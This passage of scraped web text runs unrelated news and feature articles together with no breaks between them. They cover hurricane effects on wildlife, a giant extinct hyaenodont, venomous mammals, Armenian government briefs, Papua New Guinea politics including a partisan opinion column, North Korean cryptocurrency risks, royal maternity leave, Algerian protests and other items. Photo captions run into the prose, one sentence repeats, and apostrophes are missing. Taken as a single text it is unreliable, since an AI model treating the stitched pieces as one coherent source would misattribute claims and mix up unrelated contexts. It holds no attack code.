million domestic fowls and 5,500 captive hogs. Yet local animal fanciers did receive a spot of good news as well. For almost five centuries, herds of feral horses have lived on the Tarheel State's barrier islands. Thought to be descended from mustangs brought over by Spanish explorers, these Outer Banks equines are beloved by the community and enjoy government protections. It turns out they're also quite storm-savvy. Censuses taken after Hurricane Florence showed that while some individuals remain unaccounted for, a large majority of the beach-loving horses weathered the storm. Why did the barrier island horses survive Florence when so many farm critters perished? And how do other animal species normally react to hurricanes? Read on to find out. Advertisement Go High or Go Deep More than 100 of North Carolina's free-roaming beach horses live on Cape Lookout National Seashore, a preserve encompassing three different barrier islands. Florence was by no means their first rodeo when it comes to major hurricanes. As park biologist Sue Stuska reminded the Associated Press, the horses have been riding out tempests for hundreds of years. Well-attuned to changes in the weather, they instinctively seek out high ground during floods and take refuge in thickly-vegetated areas once the winds get violent. Deaths do occur (three horses drowned in 2003's Hurricane Isabel), but when hurricanes strike, the wild herds of the Outer Banks enjoy a high overall survival rate. Unfortunately, many animal populations cannot make the same claim. Hurricanes and the floods they produce are notoriously hard on coast-hugging shrimp, crabs and oysters. The invertebrates have evolved to live in waters with specific salinity levels. When runoff from hurricane-generated floods pours into bays and estuaries, the percentage of salt in the water goes down. That decrease often ends up killing scores of oysters, shrimp and other sea-dwelling organisms. Texas fishermen witnessed this problem firsthand after Hurricane Harvey did a number on delicate Gulf Coast ecosystems. There are, however, marine creatures who proactively steer clear of hurricanes. Sharks can pick up on pressure changes in the water column and detect waterborne vibrations using a network of canals and pores embedded in their skin. The same system alerts them to oncoming storms. Barometric air pressure drops shortly before a hurricane or tropical storm hits. Upon sensing this, young blacktip sharks who normally live in shallow bays flee into the relative safety of deep offshore waters and then come back after the tempest passes. Going deep is a fine tactic for sharks, but it's not an option for swimming mammals (like dolphins) who must surface to breathe. It's also less-than-ideal for the inhabitants of lakes, swamps and river systems. Alligators often drown or get killed by flying debris during storm surges. To stay safe, they may clamber onto driveways and backyard porches that manage to remain above the water level much to the chagrin of some homeowners. Advertisement Blowing in the Wind Above the heads of gators and other ground-dwelling creatures, arboreal squirrels face their own set of problems. High-speed hurricane winds are liable to strip trees of their nuts, imperiling the mammals' food supply. Furthermore, powerful storms blow baby squirrels out of their parents' tree-based nests. Hurricane Irene saddled wildlife rehabilitation groups with hundreds of orphaned newborn squirrels who'd been evicted from their nests and would've most likely perished if left to fend for themselves. And speaking of trees, when Hurricane Hugo leveled South Carolina forests in 1989, the natural disaster almost wiped out the world's largest population of endangered red cockaded woodpeckers, a species dependent on living pines. Birds respond to hurricanes in lots of different ways. The white-throated sparrow, for instance, keeps tabs on barometric pressure and will postpone its fall or spring migration to avoid oncoming storms if necessary. Many avian species take on the exhausting challenge of flying into the eye of a hurricane and then keeping pace with it as the tempest gradually dies down. Understandably, some birds who attempt this get overcome by fatigue and die before the storm subsides. Advertisement Life (Sometimes) Finds a Way Living in captivity doesn't necessarily safeguard beasts against the ravages of natural disasters. Despite the valiant efforts of farmers across North Carolina, the state lost millions of livestock animals to Hurricane Florence. Blocked roads, flooded barns, power failures and broken dams contributed to this depressing glut of dead turkeys, chickens and hogs whose corpses present significant health risks to the human population. If there's a silver lining to be found here, it's the fact that certain animals have turned storms like Hurricane Florence into opportunities. Consider the eastern spadefoot toad. This secretive amphibian likes to breed in temporary ponds, where fish and other aquatic predators cannot easily catch it. Such short-lived bodies of water become common after heavy rains. For that very reason, the toads reproduce like crazy in the wake of a hurricane. At a time when amphibian populations are declining all over the world, that's an encouraging thing to see. Advertisement Advertisement NOW THAT'S INTERESTING. Hurricanes may be forcing reptiles to get a grip. Literally. Anoles are a group of New World lizards who climb walls with adhesive toe pads. A 2018 study argued that one species might be evolving shorter hind legs and longer toe pads. The reason? Said body plan could make it easier for the lizards to cling onto tree limbs while hurricane-force winds are blowing. " " Simbakubwa kutokaafrika, a gigantic carnivore larger than a polar bear, is known from the remains of most of its jaw, portions of its skull and parts of its skeleton. MAURICIO ANTON Although its name means "big lion from Africa," Simbakubwa kutokaafrika was no lion. In fact, this long-extinct mammalian predator wasn't even a cat. But it sure was big. The most conservative estimate puts the creature's weight at 617 pounds (280 kilograms), which is on par with the bulkiest modern lions. Yet the monster could've potentially weighed up to 3,425 pounds (1,554 kilograms), making it heavier than any carnivorous land mammal alive today. Advertisement You might say Simbakubwa kutokaafrika was discovered twice. The only fossils yet attributed to this species are some foot bones, a partial snout and a massive lower jaw complete with 4-inch (10-centimeter) canines. All these remains likely came from an adolescent animal; full-grown adults might've been even larger. Sometime in the late 1970s or early 1980s, the 22 million-year-old fossils were unearthed at Menswa Bridge, a dig site in western Kenya. Afterward, they wound up in a collection drawer at the Nairobi National Museum. Experts paid them little heed until 2010, when Ohio University paleontologist Nancy J. Stevens visited the museum. "Most of the specimens that I study are quite small," Stevens told Reuters, "so you can imagine my surprise when I opened a drawer that I hadn't examined yet, and saw the enormous teeth glinting up at me." Stevens describes the fossils in a new paper she co-authored with fellow paleontologist Matt Borths. The Journal of Vertebrate Paleontology published their study on April 17, 2019. Simbakubwa was an especially large hyaenodont. Unrelated to actual hyaenas, the hyaenodonts were a group of predators that first appeared about 62 million years ago and dispersed across Africa, Eurasia and North America. Then, roughly 11 million years ago, the last hyaenodonts died out. Nobody knows why, but continental drift and the rise of new, competing predatory mammal lineages probably contributed to their decline. Simbakubwa is the oldest known member of a hyaenodont subgroup that apparently had its origins in Africa and the Arabian Peninsula. As the newfound species reveals, these beasts attained huge body sizes early in their evolutionary history. Being big may have allowed them to hunt some of the colossal forerunners of today's elephants, hippos and hyraxes that shared Simbakubwa's Kenyan habitat. Advertisement Advertisement Now That's Scary Like many other hyaenodonts, Simbakubwa had three sets of "meat-slicing teeth" in the back of its mouth. Dogs, cats, bears and actual hyaenas only have one set apiece. " " There's more to skunk spray than its awful smell. Tom Brakefield/Stockbyte/Thinkstock There's nothing cuter than a little mammal, right? The biological class that brings us piglets, kittens and human babies certainly deserves credit for having the most benignly adorable species. Sure, mammals can go at it with teeth and claws, but at least they can't paralyze you with their deadly tentacles or kill you with one venomous bite. Right? Well, there are some mammals that aren't as fuzzy and warm as they appear. Let's take a look (from a decent distance) at mammals that use venom or toxic weapons to defend themselves. Advertisement 1. Skunks Before we get into deadly force, let's visit our friendly neighborhood skunk, which can blast a spray of thiols (compounds also found in onions and garlic) so potent that it causes temporary blindness, inflammation and vomiting. Skunk spray can even be toxic to other animals, including humans. 2. Platypuses The platypus is already weird enough for its egg-laying ability. But to add to that, the males also have spurs on their hind legs that release crazy powerful venom causing nearly unbearable pain. " " Male platypuses use this spur to inject venom into unsuspecting victims. Auscape/Universal Images Group/Getty Images 3. Slow Lorises While some mammals have their venom at the ready, slow lorises use their hands to rub glands near their armpits that contain the toxic stuff, then they apply the substance to their teeth to put a predator into serious shock. " " Don't let those adorably enormous eyes fool you: Slow lorises have a venomous trick up their sleeve -- or armpit, as it were. lnzyx/iStock/Thinkstock 4. Shrews Several species of shrew have salivary glands that produce venom to paralyze their prospective meal. But they aren't just injecting their foil with the venom: The shrew needs to chew its prey to get the venom to do its job. " " Water shrews are one of the few species of shrew that are venomous. Oxford Scientific/Photodisc/Getty Images Advertisement 5. Solenodons The solenodon is a shrewlike mammal native to Cuba and Hispaniola. But unlike the shrew, this toxic mammal absolutely uses its grooved, sharp teeth to inject venom directly into a foe. " " Solenodons may be small, but they carry a mighty venom capable of taking down prey. 2010 Solenodon joe/ CC BY 3.0 Advertisement Advertisement Now That's Cool A 2016 study showed that platypus venom might be useful in human health care. A hormone found in the platypus' gut that regulates its blood glucose is also produced in its venom. The finding could lead to breakthroughs in human diabetes treatment. "Perhaps the sentiments put forth here are not yet sufficiently fashionable to procure them general favor. A long habit of not thinking a thing wrong gives it a superficial appearance of being right, and raises at first a formidable outcry in defense of custom. But the tumult soon subsides. Time makes more converts than reason." --Thomas Paine YEREVAN, APRIL 26, ARMENPRESS. Deputy prime minister of Armenia Tigran Avinyan held a discussion in government relating to the reforms in the field of state services, the deputy PMs Office told Armenpress. The discussion was attended by justice minister Artak Zeynalyan, minister of transport, communication and information technologies Hakob Arshakyan, minister of economic development and investments Tigran Khachatryan, first deputy minister of territorial administration and development Vache Terteryan and deputy chairman of the State Revenue Committee Mikayel Pashayan. At the meeting the deputy PM stated that all upcoming reforms are based on the governments program, which includes priority tasks such as upgrading the quality of services provided by the state, reducing expenditures and etc. Tigran Avinyan added that the upgrading of public services will not only enable the citizens to fully exercise their rights, but will also contribute to the economic revolution. The discussion participants continued exchanging views on the main issues, as well as made proposals for developing effective mechanisms for their solutions. Avinyan noted that a single state policy is needed in the field of providing state services, all efforts must be made for making the provision of state services in high-quality, available and effective. Edited and translated by Aneta Harutyunyan YEREVAN, APRIL 26, ARMENPRESS. The bill on tuition fees developed by My Step faction head Lilit Makunts and MP Sisak Gabrielyan has been put into circulation. According to the bill, the state should pay the tuition fees of employed students. The bill proposes to compensate the tuition fees of employed students and those students who work with a service contract from the income tax. The state will also pay the tuition fees of employed students who study at secondary vocational and technical educational institution. Students who overcome the GPA threshold will be eligible to receive compensation. The draft will also be discussed in the government, I hope we will achieve a positive result. Most probably, we will hold a public discussion with the specialists of the field, but during this period I will listen to your observations and proposals with pleasure, Sisak Gabrielyan said on Facebook. Edited and translated by Aneta Harutyunyan YEREVAN, APRIL 26, ARMENPRESS. Prime Minister Nikol Pashinyan believes womens activities and inclusion in all sectors should be encouraged in Armenia. The PM delivered the remarks during the FCEM - Femmes Chefs D'Entreprises Mondiales World Congress that is taking place in Yerevan, Armenia. FCEM is the pioneer association uniting women business owners from the world over founded in France in 1945. This is among our governments priorities, and I have voiced about this back in May of 2018 when I was speaking at parliament still as a candidate for prime minister, Pashinyan said, adding that many sectors in Armenia ranging from public administration to business management and service, require womens care. Speaking about the 2018 Armenian Velvet Revolution, Pashinyan emphasized that since then womens role and level of activeness has grown significantly. This revolution wouldnt become reality without such large-scale participation of women. Their role in the revolution was indeed a milestone. Nearly half of the economically active population of Armenia are women. It is difficult to imagine that the signaled economic revolution in Armenia will succeed if we will not be able to encourage womens entrepreneurship, the PM said. PM Nikol Pashinyan expressed hope that womens role in the economic revolution will be equally decisive and important and called on all women in Armenia to make their step also in the economic revolution. I am sure that women can be more effective in entrepreneurship and they have an ability to move forward with more prudent, balanced and substantiated steps, the PM said, hoping that soon the involvement of women in Armenian politics and economy will grow. Edited and translated by Stepan Kocharyan YEREVAN, APRIL 26, ARMENPRESS. On April 25, within the framework of the working visit to the Oriental Republic of Uruguay, the delegation of the Republic of Artsakh headed by Minister of Foreign Affairs Masis Mayilian met with the candidates of the Autumn 2019 presidential elections in Uruguay representing the ruling and leading opposition political forces. During the meeting with Senator Dr. Luis Lacalle Pou held in the Parliament, the Foreign Minister briefed on the achievements in the state-building process in Artsakh. The sides discussed the prospects of establishment and strengthening of inter-parliamentary ties between Artsakh and Uruguay, as well as cooperation in the humanitarian and other spheres. At the request of former Mayor of Montevideo Daniel Martinez, Masis Mayilian briefed on the priorities of the foreign policy of Artsakh, in particular, the processes of international recognition of the Republic of Artsakh and the peaceful settlement of the Azerbaijan-Karabakh conflict. During the meeting with former Minister of Industry, Energy and Natural Resources of Uruguay Caroline Cosse, along with other issues, the sides exchanged views on the possibilities of raising the awareness of Artsakh in Uruguay. The meeting took place in the Central Office of the Wide Front ruling coalition. The participants of the meeting stressed the importance of maintaining contacts, regardless of the outcome of the forthcoming presidential elections in Uruguay. Edited and translated by Aneta Harutyunyan YEREVAN, APRIL 26, ARMENPRESS. Prime Minister Nikol Pashinyan has reiterated that everyone, even his own family members, are equal before the law in Armenia. No ones presumption of innocence should be violated, he told reporters when asked to comment on the indictment of State Oversight Service Director Davit Sanasaryan. And secondly, Ive numerously said that even my own family members, everyone is equal before the law. Our attitude for situations should be based on what relations we have with somebody, but rather what relations it has with lawfulness and truth, Pashinyan said. On April 18, Sanasaryan was indicted by the National Security Service on charges of abuse of power. He is currently on bail, banned from leaving the country. Sanasaryans duties as Director of the State Oversight Service have been temporarily suspended, but PM Pashinyan said he will not fire him in respect to presumption of innocence. Sanasaryan denies wrongdoing. Edited and translated by Stepan Kocharyan Governor of Lori Andrey Ghukasyan BEIJING, APRIL 26, ARMENPRESS. The Chinese New Ida Company will open a bottled mineral water factory in Katnaghbyur, Lori Province, Armenia, Governor of Lori Andrey Ghukasyan told ARMENPRESS in Beijing during the One Belt One Road summit. Lori already has the first cooperation with China. There are natural sources in Katnaghbyur community and Chinese experts have researched the water and assessed the quality and will open a factory there. The production will be entirely exported. Initially, nearly 60 jobs will be created, they will build a gas pipeline and a road, which the village will use in the future. Investments will total 3-4 million dollars, the Governor said. He said the company executive has traveled to China from Armenia with them to encourage other Chinese businessmen in investing in Armenia. Ghukasyan participated at the regional forum at the One Belt One Road summit. He is expected to sign a MoU with the Shanxi Province of China. The Province of Lori and the Province of Shanxi are sister provinces since 2011. Bilateral meetings and visits have taken place. We are now trying to boost these relations, he said. The Governor will also have meetings with authorities and businessmen of the Chinese province. He said he will invite Chinese businessmen to visit Lori to explore investment opportunities. Reported by Karen Khachatryan, Beijing, China Edited and translated by Stepan Kocharyan YEREVAN, APRIL 26, ARMENPRESS. Foreign minister of Armenia Zohrab Mnatsakanyan on April 26 received the delegation led by first deputy mayor of the French city of Lyon Georges Kepenekian, the Armenian MFA told Armenpress. The Armenian FM praised the fact that quite a broad and multilayer agenda exists between Armenia and France, expressing hope that the mutual visits at various levels will contribute to further expanding and deepening the Armenian-French decentralized cooperation. Touching upon President Emmanuel Macrons decision on declaring April 24 as a national day of commemoration of the Armenian Genocide in France, the foreign minister said Armenia and its people highly appreciate this step of the brotherly French people aimed at restoring justice. Minister Mnatsakanyan introduced the guests on the broad agenda of reforms being carried out by the government aimed at boosting the economy based on the innovation and technological progress. The meeting participants agreed that there is a great cooperation potential between Yerevan and Lyon for the development of economic ties. Edited and translated by Aneta Harutyunyan YEREVAN, APRIL 26, ARMENPRESS. Russian Prime Minister Dmitry Medvedev will visit Armenia on April 29 to participate in the Eurasian Economic Union (EEU) Inter-Governmental Council session. The visit will have a rather busy agenda, Russias Deputy Minister for Economic Development Timur Maximov said today. Maximov himself will be among Medvedevs delegation. Two events will take place on April 29 and 30. On the first day, the Eurasian Economic Commission Council session is expected with participation of Deputy Prime Ministers, and on the second day the Eurasian Economic Union Inter-Governmental Council session will take place. The two events are following one another, which will enable to quickly respond to issues. The agenda is busy, with rather lots of issues, Maximov said. He said most of the questions relate to the EEUs international activeness. As you know the EEU is carrying out negotiations in several directions regarding issues of free economic zones. Particularly, we will listen during the expected events the reports on progress over negotiations with Singapore and Serbia, Maximov said. Discussions on different branches of economy, namely agriculture are planned. Existing problems and issues in the domestic market will also be touched upon. I would like to stress that these events are taking place on the eve of the upcoming Supreme Eurasian Economic Council session in participation of leaders of the countries. It is symbolic that this year marks the 5th anniversary of the unions foundation, and this very year the union is chaired by Armenia, Maximov added. Edited and translated by Stepan Kocharyan YEREVAN, APRIL 26, ARMENPRESS. Whether the instalment regime of EAEU customs tariffs in terms of several goods for Armenia will change or not, is still unclear, Russian deputy minister of economic development Timur Maksimov said during Moscow-Yerevan video conference, adding that if the talk is about the change or extension of this regime, it must be considered based on the domestic demand and supply existing in the market. I cannot say what was the situation when the decision on this regime was adopted, but I think that currently we are at a stage that the supplies in the domestic market can meet the demand. Therefore, its necessary to look at the opportunities of the domestic market, consider the demand, including that of Armenia. If the main concern is that by the change of the regime the prices of certain goods will increase, I can state that the supply of the domestic market of the Union can easily meet the demand without the increase of prices, he said. In the first years of its membership to the Eurasian Economic Union (EAEU), Armenia has received instalment of introduction of EAEU customs tariffs for a number of goods. The EAEU tariffs are expected to enter into force in January 2020. Edited and translated by Aneta Harutyunyan YEREVAN, 26 APRIL, ARMENPRESS. The Central Bank of Armenia informs Armenpress that today, 26 April, USD exchange rate down by 0.24 drams to 481.33 drams. EUR exchange rate down by 0.17 drams to 536.06 drams. Russian Ruble exchange rate up by 0.01 drams to 7.43 drams. GBP exchange rate up by 1.04 drams to 621.06 drams. The Central Bank has set the following prices for precious metals. Gold price up by 131.78 drams to 19820.53 drams. Silver price up by 0.82 drams to 230.04 drams. Platinum price down by 115.16 drams to 13587.15 drams. YEREVAN, APRIL 26, ARMENPRESS. Prime Minister of Armenia Nikol Pashinyan received the members of the Armenian Eagles chess team, who have qualified for the finals of the Pro Chess League 2019 chess tournament. The final round will be held in San Francisco on May 4 and 5. As ARMENPRESS was informed from the Office of the Prime Minister of Armenia, the captain of the Armenian team, MP Artak Manukyan introduced to Prime Minister Pashinyan the members of his team - Zaven Andriasyan, Hayk Martirosyan, Gor Vardanyan, Shant Sargsyan and Anna Sargsyan and presented their past achievements. He noted that the team won the prestigious tournament in 2018, which is a great honor and responsibility. They have reached the final round and are firmly determined to win it this year, too. Enthusiastic about the achievements of the Armenian Eagles, Nikol Pashinyan wished them every success in the upcoming finals. The team members thanked the Prime Minister for kind remarks and support ahead of the final round. The Premier and the team members exchanged views on the ways of promoting chess in Armenia, positioning Armenia as a chess superpower, increasing the countrys tourist attractiveness. Reference was made to the Armenian Chessify mobile application, the teaching of chess in Armenias schools and other issues of topical interest. YEREVAN, APRIL 26, ARMENPRESS. Turkish-Armenian lawmaker of Turkey's parliament Garo Paylan has made an inquiry to vice president of Turkey Fuat Oktay over documents on the Armenian Genocide kept at Turkey's State Archive. ARMENPRESS reports the inquiry runs as follows, We have sent the following inquiry to vice president of Turkey Fuat Oktay, expecting a response. It's mentioned in the April 24, 2019 speech of the president of the Republic Erdogan on the occasion of the 104th anniversary of the Medz Yeghern, ''The doors of our archives are open before all those who aim to discover the truth. We have no secrets''. So, he emphasizes that all the state archives are open before all the researchers. Hence, we inquire about the fate of the records of the Turkish court-martial that operated from 1919-1922 aimed at bringing to juctice the perpetrators who committed crimes against the Armenian people. The researchers inform that those records are not available for them. Aren't the records of the court-martial kept in the state archive? When were the mentioned records first submitted to the archive? Where and in which archive's catalogue were the data of the records for the last time? Where and in which archive are kept those records, if the calls that the original records are absent or unavailable do not correspond to the reality? By what means can the researchers, who ''want to discover the truth'', reach those records?'' reads the text of the inquiry. Edited and translated by Tigran Sirekanyan YEREVAN, APRIL 27, ARMENPRESS. The parliament of Portugal adapted a resolution on April 26 recognizing the Armenian Genocide, ARMENPRESS reports an official of the Foreign Ministry of Artsakh Bedo Demirdjian wrote on his Facebook page. It's mentioned in the resolution that on April 24, 1915 nearly 250 Armenian intellectuals and public figures were jailed and later killed. The number recorded as victims of the genocide varies from 800 thousand to 1.5 million. ''The systemic extermination of Armenians by the Ottoman leadership is assessed by the international community of historians the 1st genocide of the 20th century'', reads the text. The resolution also notes that though the Ottoman courts-martial convicted the organizers of the genocide to death penalty in 1919-20, the verdicts were never implemented. The resolution also notes that other Christian minorities also fell victim to the genocidal policy of the Ottoman Empire. Edited and translated by Tigran Sirekanyan At the press conference, the resigning governors spoke of institutions needing to be protected and a nation tired of corruption NEWS DESK | Radio New Zealand AUCKLAND - Five members of Papua New Guinea's government have resigned from the party of prime minister Peter O'Neill. Influential Enga Governor Sir Peter Ipatas is among those resigning from the People's National Congress. Five government MPs, including four from the same resource rich Highlands region where Peter O'Neill is from, held a press conference late this morning in Port Moresby. Sir Peter was flanked by the governors of Southern Highlands and Hela provinces, William Powi and Philip Undialu and two other MPs. They announced their resignation from PNC, the party which has dominated PNG politics for the past several years. It's the latest sign that Mr O'Neill's support is collapsing and the government could soon change, and follows the resignation of two high level government ministers earlier this month. Mr O'Neill is currently in Beijing with a government delegation, attending China's Belt and Road global forum. PNG's parliamentary opposition is planning on tabling a motion of no-confidence against the prime minister when parliament resumes next month. Morality is the bedrock of national greatness. A nations strength does not depend on its military might, nor its wealth but by adhering to ancient moral guidelines. In every religion, in every culture, there is an innate sense of what we ought to do when we live in human societies. Morality is taught as an ideal that all mortals should adhere to. It is the North Star that guides all human conduct. To be a moral leader, a leader must live by moral principles that are enshrined in the book of supreme virtue - the Bible - and universally accepted guidelines of right thinking and right conduct. In our nations propitious moment in time, Peter ONeill is a bad leader guiding the ship. He lacks morality. He is not a moral leader of the nation. He lacks moral leadership. Every fibre of his being seems to detest morality. He breaks rules of conduct and lives the life of a man on the verge of a moral nadir. He has in his inner circle men who are morally weak and are driven by greed and self-interest. The government he leads is deeply corrupted and lacks transparency. A man who lack moral fortitude and does not follow sound ethical guidelines cannot be a leader. A government run by crooks, self-interested braggarts, cannot take the nation to greatness. History abounds with nations that fell through moral decay and degeneracy. One example amongst many is ancient Rome. She was the Queen of the world. Her legions dotted the landscape. No one could challenge her militarily. Gibbons in his seminal work, The Decline and fall of Rome, cites fiscal irresponsibility and moral decay as some of the reasons Rome fell from greatness and descended into oblivion. Our leaders are following the same path. They are leading this resource-rich nation with its 8.5 million people to the brink of anarchy. Through prodigious spending on inflated projects, in an orgy of unrestricted borrowing and with corruption on a grand scale, our nation is going down the drain. We the people who voted this corrupt government into power must not remain silent waiting for a miracle to happen. We must, by pen and voice and by all means with our reach, talk against the blunt disregard for the rule of law by this wicked government. For if we hold our peace, when the house we live is on fire we have only ourselves to blame for our timid indifference. When our nations forests are disappearing, when our mineral wealth is extracted and we are paid a pittance, when foreigners collude with parliamentarians and let migrants fill simple jobs and make us beggars in our own land, we need to rise and demonstrate the peoples power to speak against a government that is morally deficient. We have a choice to speak and change the nations destiny, or let it degenerate and fall into decay. North Korea North Korea could pose a threat to countries across Southeast Asia as it looks to exploit cryptocurrency exchanges due to gaps in regulatory frameworks, according to a new report. The research from the Royal United Services Institute (RUSI) finds that as North Korea continues to circumvent international sanctions, its turning its attention to cryptocurrencies such as bitcoin. Due to the proximity of Southeast Asia to North Korea, this makes it vulnerable to the nations cryptocurrency activity. Since Southeast Asia also features a nascent but burgeoning cryptocurrency industry, local law enforcement agencies will likely require further knowledge and resources to ensure that they can successfully respond to cryptocurrency-related criminal activity over time should the local cryptocurrency industry continue to grow in scale, the report reads. Cryptocurrency in Southeast Asia Specifically, the research evaluates Cambodia, Indonesia, Laos, Malaysia, the Philippines, Singapore, Thailand and Vietnam, with the use of cryptocurrency and the size of its industry varying greatly among them. In Cambodia, for instance, crypto use is believed to be minimal, with the first exchange applying to operate in the region in August 2018. Yet, in Thailand, three cryptocurrency exchanges were granted licenses to operate at the beginning of this year. As the study notes, BX Thailand is the largest crypto exchange, ranking among the 100 largest globally, with a daily trading volume of around $3 million. It is countries such as Indonesia, Malaysia and Thailand, which have cryptocurrency exchanges among the top 200 worldwide when it comes to trading volumes and trade worth over $1 million each day, that could prove particularly vulnerable to cyberattacks from the likes of North Korea. North Koreas Use of Crypto North Korea could cash out its cryptocurrencies at exchanges in these countries, relying on the network of users to do so, the research notes. Story continues Vietnam, for example, has a cryptocurrency user base of over 1 million individual users, the report says. Vietnam also ranks among the top five countries globally in terms of the number of online logins to major cryptocurrency exchanges. North Korea could also use its overseas financial networks to open accounts at crypto exchanges in Southeast Asia without any links back to it. Over-the-counter trades and peer-to-peer platforms such as LocalBitcoins, Paxful and xCoins which the study highlights are also vulnerable to exploitation. This is due to the fact that many peer-to-peer platforms dont require know-your-customer (KYC) or anti-money laundering (AML) information from their users, allowing an increased degree of anonymity. However, within the last few weeks, Paxful and LocalBitcoins announced that they have introduced AI-powered identity verification to help improve KYC and AML procedures on their platforms. Crypto Regulation in Southeast Asia Just as the use of cryptocurrency and the size of the crypto industry vary among the countries in Southeast Asia, so do their regulatory approaches. Malaysia requires all crypto platforms operating in the country to declare their business to Bank Negara, Malaysias central bank, and to adhere to local AML and counter-terrorist financing (CTF) requirements. The State Bank of Vietnam, on the other hand, has banned bitcoin as a payment method. It has also stopped firms from engaging in crypto-related activities. Bank Indonesia, the central bank of Indonesia, has also banned the use of cryptocurrencies, yet in 2014 Singapore was one of the first countries to regulate its use. In Thailand, crypto is viewed legally as digital assets and digital tokens, according to the countrys Securities and Exchange Commission (SEC). Exchanges there are also required to adhere to AML/CTF requirements in order to obtain licenses. While several countries in Southeast Asia have implemented AML, KYC and CTF procedures, not all have extended the local requirements to cover crypto exchanges. But according to the Financial Action Task Force (FATF), a French intergovernmental organization, countries should use risk assessment exercises to develop appropriate risk-based regulatory frameworks for cryptocurrencies, the report states. Where designed and implemented successfully, these frameworks can contribute to curbing North Korean proliferation financing risks. It is only with the appropriate frameworks and regulatory responses in place that countries in Southeast Asia can ensure that North Korean activity is subject to regulatory oversight. As the report states, Southeast Asias uncoordinated approaches to the regulation of cryptocurrencies creates a systemic risk such that its growing cryptocurrency industry may be exploited by North Korea and affiliated networks. This article originally appeared on Bitcoin Magazine. Meghan Markle is reportedly only going to take a few weeks maternity leave. Photo: Getty Images The Duchess of Sussex is just days away from welcoming her first child. While mothers in the UK can take up to 52 weeks maternity leave, Meghan is reportedly planning a return to royal duties just 12 weeks after giving birth. The mum-to-be, 37, was last seen in public on March 19, when she and Harry made an unscheduled visit to New Zealand House to sign a condolence book for the victims of the Christchurch terror attacks. Since then she and Harry, 34, have moved into their new home Frogmore Cottage, in Windsor. Meghan has made it very clear she wants to return to work as soon as possible. She has huge amounts of energy, is extremely determined and wants to be as hands-on as possible with her charities, a royal source told The Sun. Nothing has been written into her diary just yet, as she wants to wait and see how she feels after having the baby. Shes pencilled in three months, but shell most likely return to public life in six weeks on the Queens official birthday, Trooping the Colour, in June. The Duchess of Cambridge took just five weeks off after giving birth to Prince George in 2013 and four months off after Princess Charlotte was born in 2015. The Duchess of Cambridge took just five weeks off after giving birth to Prince George in 2013 and four months off after Princess Charlotte was born in 2015. Photo: Getty Images She returned to royal duties last October after having six months maternity leave, following the arrival of Prince Louis on 23 April 2018. In the US, The Family and Medical Leave Act of 1993 (FMLA) requires 12 weeks of unpaid leave annually for mothers of newborn or newly adopted children if they work for a company with 50 or more employees. So for Meghan, who was born in Los Angeles, California, this would be seen as standard. Ahead of the arrival of Baby Sussex, Buckingham Palace has revealed the duke and duchess want to keep the details of the childs birth private. It is understood that there will not be the media photocall outside the Lindo Wing, like weve seen with the Duke and Duchess of Cambridge after the birth of each of their three children. Instead, photographs of Meghan and Harrys baby will be released a few days after the birth. Story continues Written by Danielle Stacey Got a story tip? Send it to lifestyle.tips@verizonmedia.com Want more lifestyle and celebrity news? Follow Yahoo Lifestyle on Facebook, Twitter and Instagram. Or sign up to our daily newsletter here. Algerian protesters vowed Friday to keep up the pressure on the regime left behind by Abdelaziz Bouteflika, staging a tenth consecutive weekly mass rally after a string of people close to the toppled president were sacked or arrested over alleged graft. "We want this system to leave and all the thieves to be judged," said Zohra, a 55-year-old teacher who travelled some 350 kilometres (220 miles) to attend the Algiers demonstration site with her 25-year-old son, Mohamed. Hundreds of demonstrators gathered Friday outside the capital's emblematic post office headquarters, shouting: "You looted the country, thieves!" El Watan newspaper, echoing social media calls for further protests to topple the entire "system", led with the headline: "No half-revolution!" The latest demonstrations followed the sackings of a string of senior regime officials and the detention of top businessmen including the country's richest man, Issad Rebrab, over suspected corruption. Authorities apparently intent on clearing away two decades of cronyism following Bouteflika's ouster also reopened an investigation into an ex-energy minister close to the former president, state media reported Wednesday. And earlier in the week, the head of the vast state oil firm Sonatrach, Abdelmoumen Ould Kaddour, was also fired and replaced on the orders of interim president Abdelkader Bensalah. Four brothers from the influential Kouninef family, close to Bouteflika's brother Said, were also arrested Sunday over alleged non-compliance with state contracts, according to state media. - 'Mafia and fraudsters' - But protesters have yet to win one of their key demands: the departure of Bensalah himself, a member of Bouteflika's inner circle throughout his 20 years in power. They are also demanding the ouster of another key ally of the toppled leader: Noureddine Bedoui, who remains prime minister in what protesters call "a government of shame". The interim administration has pledged to hold presidential elections on July 4, but demonstrators reject any such vote overseen by Bouteflika-era officials. Protester Samir said he was against the poll. "How mafia and fraudsters can hold honest elections? We'll march until they understand," he said. The arrests come after army chief Ahmed Gaid Salah called on prosecutors to "accelerate the pace" of corruption probes into those with ties to Bouteflika's inner circle. The army has also insisted that the presidential vote take place within the timeframe set by the constitution. Some observers see the army's pressure for prosecutions against allegedly corrupt individuals as an implicit offer of a deal to protesters: punishment of key figures or in exchange for a softening of demands, especially over the presidential poll. International Crisis Group warned Friday that a stalemate was looming in Algeria as protesters and security forces "disagree on the pace and content of a political transition". "Despite repressive counter-measures, protesters showed no sign of giving in... The protests are only growing," the Brussels-based think tank said in a briefing Friday. The government "should embark immediately on a dialogue with civil society leaders accepted by the protesters" to lay out a "political transition that would serve to restore confidence and prevent an uncontrolled cycle of violence". Algerian protesters say they are determined to keep up the pressure for reforms and proscutions of corrupt officials Friday's protest is the tenth weekly mass rally since Bouteflika announced in February that he planned to stand for a fifth term in office Protesters have rejected a July 4 presidential election announced by the interim government Alarming footage has emerged of couriers throwing parcels onto the ground in a Perth car park. Michelle Shoosmith filmed the men at a McDonalds car park in Currambine, in the citys north, on Wednesday as they sifted through parcels. The clip shows the Star Track delivery workers sorting the mail into several piles, often flinging parcels and boxes several metres onto the ground. Star Track is a transport and logistics company owned by Australia Post. Ms Shoosmith told 7News she was stunned by the brazen incident. The workers were seen flinging parcels on the ground. Source: Facebook/ Michelle Shoosmith I was like oh my goodness. People need to see what they're doing to their belongings, she said. Ms Shoosmith took to Facebook to share the clip, with the post quickly inundated with responses from users equally shocked. Bloody disgusting, one person wrote. An Australia Post spokesperson told Yahoo News Australia that the company offers its apologies to its customers over the incident. Our customers deserve better and we apologise, they said. The spokesperson confirmed the matter is being investigated. You can also follow us on Facebook, download the Yahoo News app from iTunes or Google Play and stay up to date with the latest news with Yahoos daily newsletter. Sign up here. A New York jury has convicted an extravagant socialite who bankrolled an implausibly lavish lifestyle with tens of thousands of dollars she swindled from banks, hotels and friends who believed she was a wealthy German heiress. The Manhattan jury found Anna Sorokin guilty of four counts of theft of services, three counts of grand larceny and one count of attempted grand larceny following a month-long trial that attracted international attention. She was acquitted of one count of 